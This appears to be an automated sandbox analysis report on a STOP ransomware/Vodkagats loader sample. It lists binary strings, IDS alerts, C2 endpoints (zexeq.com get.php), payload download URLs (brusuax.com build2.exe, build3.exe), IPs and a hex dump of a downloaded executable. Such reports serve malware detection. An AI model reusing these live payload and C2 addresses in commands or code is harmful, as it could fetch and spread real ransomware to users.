Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: g0Zq7nJjus.exe, 00000006.00000003.2759848167.0000000003951000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb\N source: g0Zq7nJjus.exe, 00000006.00000003.2655647252.0000000003689000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: g0Zq7nJjus.exe, 00000006.00000003.2655766976.000000000325B000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722713316.0000000003250000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722923546.0000000003254000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2724076990.0000000003268000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2723755012.000000000325F000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722071141.0000000003248000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdbrDX_CONTENT_TASKBARHEADLINES.json source: g0Zq7nJjus.exe, 00000006.00000003.2655647252.0000000003689000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\Temp\ source: g0Zq7nJjus.exe, 00000006.00000003.2760312661.00000000036EE000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2759463917.00000000036EB000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2802749940.00000000036EA000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2802087725.00000000036D8000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2801911133.000000000368D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: g0Zq7nJjus.exe, 00000006.00000003.2655647252.0000000003689000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\\A source: g0Zq7nJjus.exe, 00000006.00000003.2848619820.0000000003998000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2849446842.0000000003A59000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2849049151.00000000039D9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\!h\|H# source: g0Zq7nJjus.exe, 00000006.00000003.2834806558.0000000003655000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2839161867.0000000003666000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2838401939.000000000364C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\*z source: g0Zq7nJjus.exe, 00000006.00000003.2839011613.0000000003257000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: g0Zq7nJjus.exe, 00000006.00000003.2760312661.00000000036EE000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2759463917.00000000036EB000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2802749940.00000000036EA000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2802087725.00000000036D8000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2801911133.000000000368D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\e\k source: g0Zq7nJjus.exe, 00000006.00000003.2856511576.0000000003AEB000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2858780081.0000000003B0A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\\ source: g0Zq7nJjus.exe, 00000006.00000003.2655647252.0000000003618000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2723608111.0000000003621000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2508166369.0000000003611000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\emp\mw source: g0Zq7nJjus.exe, 00000006.00000003.2834806558.0000000003655000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2839161867.0000000003666000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2838401939.000000000364C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\. source: g0Zq7nJjus.exe, 00000006.00000003.2856573707.0000000003801000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\tory\b source: g0Zq7nJjus.exe, 00000006.00000003.2655647252.0000000003689000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\3\ source: g0Zq7nJjus.exe, 00000006.00000003.2655647252.0000000003618000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2508166369.0000000003611000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2655834651.0000000003631000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2476893329.0000000003611000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\Temp\ source: g0Zq7nJjus.exe, 00000006.00000003.2760312661.00000000036EE000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2759463917.00000000036EB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\KbJi source: g0Zq7nJjus.exe, 00000006.00000003.2801554812.000000000324E000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2801753998.000000000325A000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2803215589.000000000325E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\1\*]i source: g0Zq7nJjus.exe, 00000006.00000003.2843319155.0000000003AB2000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2843994397.0000000003ADB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\ta\ source: g0Zq7nJjus.exe, 00000006.00000003.2854088123.0000000003B1B000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2856511576.0000000003AEB000.00000004.00000020.00020000.00000000.sdmp

Spreading

Infects executable files (exe, dll, sys, html)

Source: C:\Users\user\Desktop\g0Zq7nJjus.exe

System file written: C:\Users\user\AppData\Local\Temp\chrome.exe

Jump to behavior

Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_00410160 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,	2_2_00410160
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_0040F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,	2_2_0040F730
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_0040FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,	2_2_0040FB98
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_0040F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,	6_2_0040F730
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_00410160 Sleep,PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,	6_2_00410160
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_0040FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,	6_2_0040FB98

Source: C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\
Source: C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\
Source: C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\
Source: C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\
Source: C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\
Source: C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2036333 ET TROJAN Win32/Vodkagats Loader Requesting Payload 192.168.2.6:49714 -> 95.86.30.3:80
Source: Traffic	Snort IDS: 2020826 ET TROJAN Potential Dridex.Maldoc Minimal Executable Request 192.168.2.6:49714 -> 95.86.30.3:80
Source: Traffic	Snort IDS: 2833438 ETPRO TROJAN STOP Ransomware CnC Activity 192.168.2.6:49716 -> 196.188.169.138:80
Source: Traffic	Snort IDS: 2036333 ET TROJAN Win32/Vodkagats Loader Requesting Payload 192.168.2.6:49717 -> 196.188.169.138:80
Source: Traffic	Snort IDS: 2020826 ET TROJAN Potential Dridex.Maldoc Minimal Executable Request 192.168.2.6:49717 -> 196.188.169.138:80
Source: Traffic	Snort IDS: 2833438 ETPRO TROJAN STOP Ransomware CnC Activity 192.168.2.6:49722 -> 196.188.169.138:80
Source: Traffic	Snort IDS: 2833438 ETPRO TROJAN STOP Ransomware CnC Activity 192.168.2.6:49734 -> 196.188.169.138:80
Source: Traffic	Snort IDS: 2833438 ETPRO TROJAN STOP Ransomware CnC Activity 192.168.2.6:49741 -> 196.188.169.138:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://zexeq.com/test1/get.php

Source: global traffic

TCP traffic: 192.168.2.6:49719 -> 49.12.114.15:10220

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 11 Jan 2024 12:45:01 GMTContent-Type: application/octet-streamContent-Length: 367104Last-Modified: Wed, 10 Jan 2024 12:50:02 GMTConnection: closeETag: "659e927a-59a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 60 e6 e8 d7 24 87 86 84 24 87 86 84 24 87 86 84 3a d5 13 84 35 87 86 84 3a d5 05 84 76 87 86 84 3a d5 02 84 00 87 86 84 03 41 fd 84 27 87 86 84 24 87 87 84 78 87 86 84 3a d5 0c 84 25 87 86 84 3a d5 12 84 25 87 86 84 3a d5 17 84 25 87 86 84 52 69 63 68 24 87 86 84 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 02 ae 12 64 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 0e 04 00 00 b4 01 00 00 00 00 00 94 22 00 00 00 10 00 00 00 20 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 e0 05 00 00 04 00 00 57 7d 06 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 55 04 00 28 00 00 00 00 10 05 00 ca c1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 48 04 00 18 00 00 00 58 48 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 20 04 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 79 0d 04 00 00 10 00 00 00 0e 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c0 3d 00 00 00 20 04 00 00 3e 00 00 00 12 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 7c 97 00 00 00 60 04 00 00 86 00 00 00 50 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 a1 01 00 00 00 00 05 00 00 02 00 00 00 d6 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 ca c1 00 00 00 10 05 00 00 c2 00 00 00 d8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic

HTTP traffic detected: GET /bg3goty HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 172.67.139.220 172.67.139.220
Source: Joe Sandbox View	IP Address: 196.188.169.138 196.188.169.138

Source: Joe Sandbox View

ASN Name: EthioNet-ASET EthioNet-ASET

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15

Source: C:\Users\user\Desktop\g0Zq7nJjus.exe

Code function: 2_2_0040CF10 _memset,InternetOpenW,InternetOpenUrlW,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

2_2_0040CF10

Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /bg3goty HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /dl/build2.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: brusuax.com
Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4&first=true HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: zexeq.com
Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4 HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: zexeq.com
Source: global traffic	HTTP traffic detected: GET /files/1/build3.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: zexeq.com
Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4 HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: zexeq.com
Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4&first=true HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: zexeq.com
Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4&first=true HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: zexeq.com
Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4 HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: zexeq.com
Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4&first=true HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: zexeq.com
Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4 HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: zexeq.com

Source: g0Zq7nJjus.exe, 00000006.00000003.2410688350.00000000035E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: URL=http://www.facebook.com/ equals www.facebook.com (Facebook)
Source: g0Zq7nJjus.exe, 00000006.00000003.2411279803.00000000035E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: URL=http://www.twitter.com/ equals www.twitter.com (Twitter)
Source: g0Zq7nJjus.exe, 00000006.00000003.2411401726.00000000035E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: URL=http://www.youtube.com/ equals www.youtube.com (Youtube)

Source: unknown

DNS traffic detected: queries for: api.2ip.ua

Source: g0Zq7nJjus.exe, 00000006.00000002.2862958130.0000000000658000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://brusuax.com/dl/build2.exe
Source: g0Zq7nJjus.exe, 00000006.00000002.2862958130.00000000006CE000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000002.2862958130.0000000000658000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://brusuax.com/dl/build2.exe$run
Source: build2.exe, 0000000A.00000002.3339219475.0000000000819000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: build2.exe, 0000000A.00000003.2217134764.00000000008C8000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2216944864.00000000008BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?5636c4dbf0623
Source: build2.exe, 0000000A.00000003.2212050719.0000000000821000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.3339219475.0000000000819000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/enE
Source: g0Zq7nJjus.exe, 00000000.00000002.2089522171.0000000002660000.00000040.00001000.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000005.00000002.2114516123.00000000026E0000.00000040.00001000.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000007.00000002.2132518888.00000000026C0000.00000040.00001000.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000008.00000002.3338149937.0000000000400000.00000040.00000400.00020000.00000000.sdmp, g0Zq7nJjus.exe, 0000000B.00000002.2258200313.00000000025E0000.00000040.00001000.00020000.00000000.sdmp, g0Zq7nJjus.exe, 0000000C.00000002.2268021627.0000000000400000.00000040.00000400.00020000.00000000.sdmp, g0Zq7nJjus.exe, 0000000E.00000002.2324379535.00000000025D0000.00000040.00001000.00020000.00000000.sdmp, g0Zq7nJjus.exe, 0000000F.00000002.2335331684.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error
Source: g0Zq7nJjus.exe, 00000008.00000003.2410729674.0000000003430000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.amazon.com/
Source: g0Zq7nJjus.exe, 00000006.00000003.2410766378.00000000035E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.google.com/
Source: g0Zq7nJjus.exe, 00000008.00000003.2416876786.0000000003430000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.live.com/
Source: g0Zq7nJjus.exe, 00000006.00000003.2411151552.00000000035E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.nytimes.com/
Source: g0Zq7nJjus.exe, 0000000F.00000002.2335331684.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.openssl.org/support/faq.html
Source: g0Zq7nJjus.exe, 00000006.00000003.2411216251.00000000035E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.reddit.com/
Source: build2.exe, 0000000A.00000002.3342567397.0000000003A3A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.3345784401.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: g0Zq7nJjus.exe, 00000006.00000003.2411279803.00000000035E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.twitter.com/
Source: g0Zq7nJjus.exe, 00000006.00000003.2411341600.00000000035E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.wikipedia.com/
Source: g0Zq7nJjus.exe, 00000006.00000003.2411401726.00000000035E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.youtube.com/
